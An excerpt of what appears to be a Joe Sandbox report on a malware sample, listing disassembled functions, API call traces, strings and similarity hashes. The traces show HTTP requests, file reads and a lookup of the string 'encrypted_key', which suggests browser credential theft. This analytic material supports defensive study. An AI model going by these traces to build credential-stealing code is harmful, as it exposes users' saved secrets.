Part of subcall function 00AC6280: HttpOpenRequestA.WININET(00000000,GET,?,0178DD18,00000000,00000000,00400100,00000000), ref: 00AC6385
Part of subcall function 00AC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AC63BF
Part of subcall function 00AC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AC63D1

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00AD5318
lstrlen.KERNEL32(00000000), ref: 00AD532F

Part of subcall function 00AD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00AD8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00AD5364
lstrlen.KERNEL32(00000000), ref: 00AD5383
lstrlen.KERNEL32(00000000), ref: 00AD53AE

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Strings

ERROR, xrefs: 00AD530A
ERROR, xrefs: 00AD54A9
ERROR, xrefs: 00AD5432
ERROR, xrefs: 00AD53B9
ERROR, xrefs: 00AD546F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: bd899d38c70579dee55d685a9cb805725f78dc81e5e6cfb5993e373a2c5b4c22
Instruction ID: c14e52dcb0374e48fd030394fec288f1d94954cbbdcc8f79196165a232244f02
Opcode Fuzzy Hash: bd899d38c70579dee55d685a9cb805725f78dc81e5e6cfb5993e373a2c5b4c22
Instruction Fuzzy Hash: 7E512F70A10148ABCB14FF64CE92EED7779AF60300F504019F80B9B292EF346B45DB62

Function 6CBB4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CBF4843,?), ref: 6CBB45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CBF4843,?), ref: 6CBB468A
free.MOZGLUE(?,?,?,?,?,?,6CBF4843,?), ref: 6CBB46C9
free.MOZGLUE(?), ref: 6CBB46EF
free.MOZGLUE(?), ref: 6CBB4712
free.MOZGLUE(?), ref: 6CBB4735
free.MOZGLUE(?), ref: 6CBB4758
free.MOZGLUE(?), ref: 6CBB477B
free.MOZGLUE(?), ref: 6CBB479E

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 9dbd2f807a70898746944c2d18e857fc5f3659a9b85abd47a3c03d275e230f84
Instruction ID: 5e8b1b372126522c57ba0215c426eada8ea04623f6d4ab13c5e0d2f4d9bbf333
Opcode Fuzzy Hash: 9dbd2f807a70898746944c2d18e857fc5f3659a9b85abd47a3c03d275e230f84
Instruction Fuzzy Hash: 0BB1D071A005918FDB189E2CDD9477D77A2FF42328F184669E816EBB86DF309844CF92

Function 00AD12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: c588ff0ae850d87f4f04b8ad095f1fa0d5ac585539aebf0749fb5d65e312f6bb
Instruction ID: 83797df6bea1b8cab5310f78569dd557c9dce3aca4361f9cab5fc6194ef5dae2
Opcode Fuzzy Hash: c588ff0ae850d87f4f04b8ad095f1fa0d5ac585539aebf0749fb5d65e312f6bb
Instruction Fuzzy Hash: 1AC187B5A002199BCB14EF60DD89FEE7378BB64304F004599F50BA7351EA74EA85CFA1

Function 00AD4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00AD42EC
lstrcat.KERNEL32(?,0178DD30), ref: 00AD430B
lstrcat.KERNEL32(?,?), ref: 00AD431F
lstrcat.KERNEL32(?,0178CF90), ref: 00AD4333

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00AD8D90: GetFileAttributesA.KERNEL32(00000000,?,00AC1B54,?,?,00AE564C,?,?,00AE0E1F), ref: 00AD8D9F

Part of subcall function 00AC9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00AC9D39

Part of subcall function 00AC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AC99EC
Part of subcall function 00AC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AC9A11
Part of subcall function 00AC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AC9A31
Part of subcall function 00AC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AC148F,00000000), ref: 00AC9A5A
Part of subcall function 00AC99C0: LocalFree.KERNEL32(00AC148F), ref: 00AC9A90
Part of subcall function 00AC99C0: CloseHandle.KERNEL32(000000FF), ref: 00AC9A9A

Part of subcall function 00AD93C0: GlobalAlloc.KERNEL32(00000000,00AD43DD,00AD43DD), ref: 00AD93D3

StrStrA.SHLWAPI(?,0178DD48), ref: 00AD43F3
GlobalFree.KERNEL32(?), ref: 00AD4512

Part of subcall function 00AC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AC4EEE,00000000,00000000), ref: 00AC9AEF
Part of subcall function 00AC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00AC4EEE,00000000,?), ref: 00AC9B01
Part of subcall function 00AC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AC4EEE,00000000,00000000), ref: 00AC9B2A
Part of subcall function 00AC9AC0: LocalFree.KERNEL32(?,?,?,?,00AC4EEE,00000000,?), ref: 00AC9B3F

lstrcat.KERNEL32(?,00000000), ref: 00AD44A3
StrCmpCA.SHLWAPI(?,00AE08D1), ref: 00AD44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00AD44D2
lstrcat.KERNEL32(00000000,?), ref: 00AD44E5
lstrcat.KERNEL32(00000000,00AE0FB8), ref: 00AD44F4

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: afebf970cea3984a69ad3d8064bc5848da90bf7d08c79627230bddfb0664a2aa
Instruction ID: 244afb0413938a35777eeaacab9c82ac36058535ca09bfaf36df547edfed7629
Opcode Fuzzy Hash: afebf970cea3984a69ad3d8064bc5848da90bf7d08c79627230bddfb0664a2aa
Instruction Fuzzy Hash: 267169B6900308A7CB14EBA4DD95FEE7379BB48300F048599F50A97281EA74DB45CBA1

Function 6CC2B540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CC2B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC2B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC2B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC2B5F4
__Init_thread_footer.LIBCMT ref: 6CC2B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CC2B61F
std::_Facet_Register.LIBCPMT ref: 6CC2B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC2B655

Strings

7S+Y/, xrefs: 6CC2B54B

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: 7S+Y/
API String ID: 1276798925-4163584386
Opcode ID: fdbd1efc7135179ceb93c4f0ad64d6181c70674b501d0fee2870e00cdc830f58
Instruction ID: 037cf8df759627c6127df69401d67d84b84169f13d5634dc33983aa49c12ae32
Opcode Fuzzy Hash: fdbd1efc7135179ceb93c4f0ad64d6181c70674b501d0fee2870e00cdc830f58
Instruction Fuzzy Hash: AD31DB71B00204CFCF11DF69D8689AEB7B5FF8A325B1405A9D50A97740DB34A806CF91

Function 6CBBECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBBF100: LoadLibraryW.KERNEL32(shell32,?,6CC2D020), ref: 6CBBF122
Part of subcall function 6CBBF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBBF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CBBED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBBEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CBBEDCC
CreateFileW.KERNEL32 ref: 6CBBEE08
free.MOZGLUE(00000000), ref: 6CBBEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CBBEE32

Part of subcall function 6CBBEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CBBEBB5
Part of subcall function 6CBBEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CBED7F3), ref: 6CBBEBC3
Part of subcall function 6CBBEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CBED7F3), ref: 6CBBEBD6

Strings

7S+Y/, xrefs: 6CBBECDC
\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CBBEDC1

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: 7S+Y/$\Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-3069196199
Opcode ID: f659327cba10d542d96d31eb375e6314e500b1be532e207155d64c967fb5ac57
Instruction ID: e0eeeb0005d3010e0fe5c03da17f14ee5648c9d3e551329946265b9f33ec4cd4
Opcode Fuzzy Hash: f659327cba10d542d96d31eb375e6314e500b1be532e207155d64c967fb5ac57
Instruction Fuzzy Hash: CD51F071D052D48BDB10DF68D8406FEB7B0EF59318F04886DE8557B790EB70A948CBA2

Function 6CC0DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CC0DDCF

Part of subcall function 6CBEFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBEFA4B

Part of subcall function 6CC090E0: free.MOZGLUE(?,00000000,?,?,6CC0DEDB), ref: 6CC090FF
Part of subcall function 6CC090E0: free.MOZGLUE(?,00000000,?,?,6CC0DEDB), ref: 6CC09108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC0DE0D
free.MOZGLUE(00000000), ref: 6CC0DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC0DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC0DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC0DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CBFDEFD,?,6CBC4A68), ref: 6CC0DF32

Part of subcall function 6CC0DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC0DB86
Part of subcall function 6CC0DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC0DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CBFDEFD,?,6CBC4A68), ref: 6CC0DF65
free.MOZGLUE(?), ref: 6CC0DF80

Part of subcall function 6CBD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBD5EDB
Part of subcall function 6CBD5E90: memset.VCRUNTIME140(6CC17765,000000E5,55CCCCCC), ref: 6CBD5F27
Part of subcall function 6CBD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBD5FB2

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 7c0e5df4a4a260a96c809da70176b48a930a681adea8f96401e0d280861c8b33
Instruction ID: a1bfd0147ea2b17cdddf786733272fd7d40cf16bcfaad800f3489d0af2dc0c51
Opcode Fuzzy Hash: 7c0e5df4a4a260a96c809da70176b48a930a681adea8f96401e0d280861c8b33
Instruction Fuzzy Hash: 7351F6767017119BD7209F28D8806AFB372BF91308F96011DD82A53B00F732F91ACB92

Function 6CBECC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CBB31A7), ref: 6CBECDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBECFA4, 6CBECFB8
<jemalloc>, xrefs: 6CBECF9F, 6CBECFB3

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: b8e5e987721010f915e2be1bee08d58c3ac33972a1a70c33badc254fd7796f78
Instruction ID: b604b30610f003d7fdba127fa236fcb35d3af60ea53a5e660390b4056db86cdf
Opcode Fuzzy Hash: b8e5e987721010f915e2be1bee08d58c3ac33972a1a70c33badc254fd7796f78
Instruction Fuzzy Hash: 0E31C5307402555BEF10AFA99C55BAE7F75EF49B94F204018F619ABBC0EB70E80487A2

Function 6CBC05F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

7S+Y/, xrefs: 6CBC0601

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID:
String ID: 7S+Y/
API String ID: 0-4163584386
Opcode ID: 62ebd0cbd8484351811954329ea8d7c55cbb25b4faadc36a6d47b9ddb9f69a44
Instruction ID: 395303eb81eb19b1947231368d1865c2efc51a8e8aed19b71c64c876481d7938
Opcode Fuzzy Hash: 62ebd0cbd8484351811954329ea8d7c55cbb25b4faadc36a6d47b9ddb9f69a44
Instruction Fuzzy Hash: 57A148B0A006858FDB24CF29D594A9AFBF1FF49304F44866ED84A97B01E730A955CF92

Function 6CC114A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC114C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC114E2
GetCurrentThreadId.KERNEL32 ref: 6CC11546
InitializeConditionVariable.KERNEL32(?), ref: 6CC115BA
free.MOZGLUE(?), ref: 6CC116B4

Strings

7S+Y/, xrefs: 6CC114B2

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: 7S+Y/
API String ID: 1909280232-4163584386
Opcode ID: 96f27ac5cce6b1494a081bb38d5b9f33dda4c361c9212fdac568d5f07498ee67
Instruction ID: 68f293c851df4cbedfe6de20d5d5204cd62c85721e34a0ce61e15d6991cf5c99
Opcode Fuzzy Hash: 96f27ac5cce6b1494a081bb38d5b9f33dda4c361c9212fdac568d5f07498ee67
Instruction Fuzzy Hash: 1A61DF76A047409BDB219F29D880BDEB7B0BF99308F44851CED8A57B01EB35E949CB91

Function 6CBF9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CBEAB89: EnterCriticalSection.KERNEL32(6CC3E370,?,?,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284), ref: 6CBEAB94
Part of subcall function 6CBEAB89: LeaveCriticalSection.KERNEL32(6CC3E370,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBEABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBC4A68), ref: 6CBF945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBF9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBF9482
__Init_thread_footer.LIBCMT ref: 6CBF949F

Strings

